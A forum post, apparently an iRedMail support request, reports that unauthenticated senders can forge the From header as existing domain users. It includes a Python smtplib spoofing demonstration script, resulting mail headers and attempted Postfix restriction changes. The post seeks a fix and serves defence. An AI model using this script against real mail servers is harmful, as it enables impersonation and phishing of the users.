主题: 任意用户可伪造from为本域已有用户发送邮件
==== 必填信息。没有填写将不予回复 ====
- iRedMail 版本号:
- 使用哪个数据库存储用户帐号(OpenLDAP,MySQL,PostgreSQL):
- 使用的 Linux/BSD 发行版名称及版本号:
- 与您的问题相关的日志信息:
==== ==== 必填信息。没有填写将不予回复 ====
- iRedMail 版本号:0.7.3
- 使用哪个数据库存储用户帐号(OpenLDAP,MySQL,PostgreSQL):OpenLDAP
- 使用的 Linux/BSD 发行版名称及版本号:CentOS6.5
- 与您的问题相关的日志信息:
====
邮件域下不存在的账号可在from中伪造为本域存在用户发送邮件
假设我们的域名是xx.com
任意人员以 <xx域的不存在账号名@xx.com> 为用户名,不需要密码,就可以发送邮件,在发送的邮件中,还可用把
from设置为xx.com的合法存在用户 <被仿冒者@xx.com>
发送给xx.com的被欺骗者 <被骗者@xx.com>
仅通过from无法发现邮件不是 <被仿冒者@xx.com> 发送的
攻击演示python程序:
import sys
import string
import os
import time
import smtplib
import email.utils
from email.mime.text import MIMEText
content = ["test",'test']
msg = MIMEText(''.join(content))
msg['To'] = email.utils.formataddr(('被骗者','被骗者@xx.com'))
msg['From'] = email.utils.formataddr(('被仿冒者@xx.com','被仿冒者@xx.com'))
msg['Subject'] = '伪装者 把自己的from设置成 被仿冒者@xx.com,欺骗 被骗者@xx.com'
server = smtplib.SMTP()
try:
server.connect('mail.xx.com')
server.ehlo()
server.sendmail('xx域的不存在账号名@xx.com',['被骗者@xx.com'],msg.as_string())
except Exception,e:
print e
sys.exit(1)
finally:
server.quit()
<被骗者@xx.com>收到邮件的相关邮件头信息:
Return-Path: <xx域的不存在账号名@xx.com>
Delivered-To: '被骗者@xx.com'
Received: from localhost (mail.xx.com [127.0.0.1])
by mail.xx.com (Postfix) with ESMTP id C3EE8BC0578
for <被骗者@xx.com>; Sun, 31 Jan 2016 03:22:09 +0800 (CST)
DKIM-Signature: 略
X-Amavis-Alert: BAD HEADER SECTION, Missing required header field: "Date"
Received: from mail.xx.com ([127.0.0.1])
by localhost (mail.xx [127.0.0.1]) (amavisd-new, port 10024)
with ESMTP id OVnjRufa-n5a for <被骗者@xx.com>;
Sun, 31 Jan 2016 03:22:09 +0800 (CST)
X-Original-Helo: [127.0.0.1] (iRedMail: http://www.iredmail.org/)
Received: from [127.0.0.1] (------)
by mail.xx.com (Postfix) with ESMTP id A0D73BC0573
for <被骗者@xx.com>; Sun, 31 Jan 2016 03:22:09 +0800 (CST)
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
To: "被骗者" <被骗者@xx.com>
From: "xx域的不存在账号名@xx.com" <xx域的不存在账号名@xx.com>
Subject: 伪装者 把自己的from设置成 被仿冒者@xx.com,欺骗 被骗者@xx.com
Message-Id: <20160130192209.C3EE8BC0578@mail.xx.com>
Date: Sun, 31 Jan 2016 03:22:09 +0800 (CST)
尝试解决:
postfix的main.cf中原有配置为
smtpd_sender_restrictions = permit_mynetworks, reject_sender_login_mismatch, permit_sasl_authenticated
改为
smtpd_sender_restrictions = permit_mynetworks, reject_sender_login_mismatch, permit_sasl_authenticated , reject_authenticated_sender_login_mismatch,reject_unauthenticated_sender_login_mismatch,reject_non_fqdn_sender,reject_unknown_sender_domain
未解决
感觉iredmail中不应有此问题,希指导如何查看日志锁定问题,最可能的配置问题是什么
另外,也可通过以下方式补救:
1.本邮件域下所有用户登录必须依据账号、密码
或者
2.将from强行设置为与Return-path相同
水平所限,不了解具体配置,请大家指导